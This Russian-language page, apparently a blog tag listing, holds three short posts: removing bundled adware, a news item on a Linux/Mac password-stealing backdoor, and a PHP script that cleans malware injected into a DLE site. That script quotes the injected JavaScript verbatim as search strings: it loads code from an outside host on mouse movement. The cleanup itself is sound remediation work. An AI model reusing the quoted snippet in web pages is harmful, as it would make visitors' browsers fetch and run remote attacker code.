Как удалить вирус или другой зловред?

Рисунок рандом по теме

Устанавливал программу, и где то галочку пропустил и не снял. Вы знаете наверное что в этом случае происходит. Ставится программа, а она устанавливает еще кучу программ по тиму «ЮтубАкселератор» и другого хлама типа mail-спутник. В общем так просто их не вывести, из программ не удалить. Как решал вопрос:
Читать дальше →

Обнаружен первый троян для Linux и Mac OS X, похищающий пароли



Компания «Доктор Веб» сообщила интересную новость — им удалось обнаружить принципиально новый кросс-платформенный бэкдор для Linux и Mac OS X, который был добавлен в вирусные базы под именем BackDoor.Wirenet.1. Одна из особенностей трояна является наличие функций кейлогера, позволяющих в некоторых приложениях отслеживать нажатие клавиш и перехватывать вводимые пароли.

Читать дальше →

Помощь в избавлении от вируса на DLE.

DLE
Заказал программисту скрипт по авто-удалению вредоносного кода со всех файлов.

код ищет файлы от корня с именами
index
menu
header
top
footer
default
в них ищет вредоносный код и удаляет его

в итоге быстро удадлили весь «вредный код»

<?php 
define ('BR', "<br />\r\n"); 
$srch='<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript(\'http://firefoxstabs.com/\' + Math.random().toString().substring(3) + \'.js\', function() {flag = 2;});}});});</script>'; 
$srch2="document.write('<scr'+'ipt src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js\"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});"; 

function clean_file($file)
{ 
global $srch;
global $srch2; 
    $basename=basename($file); 
    $filename=substr($basename, 0, strrpos($basename, '.')); 
    //print($file.BR);
    
        $f_in=file_get_contents($file); 
        if (strpos($f_in, $srch)!=false) { 
  
              print("<b>".$file."</b>
");
            $f_in=str_replace($srch, '', $f_in); 
            file_put_contents($file, $f_in); 
        } 
        if (strpos($f_in, $srch2)!=false) { 
        
            print("<b>".$file."</b>
");
            
            $f_in=str_replace($srch2, '', $f_in); 
            file_put_contents($file, $f_in); 
        } 
    
} 

function firefoxtabs_remover($dir){ 
    if ($objs = glob($dir."/*")) { 
        foreach($objs as $obj) { 
            if (is_dir($obj)) firefoxtabs_remover($obj); 
            else clean_file($obj); 
        } 
    } 
} 

$dir=realpath('./'); 
firefoxtabs_remover($dir); 
?>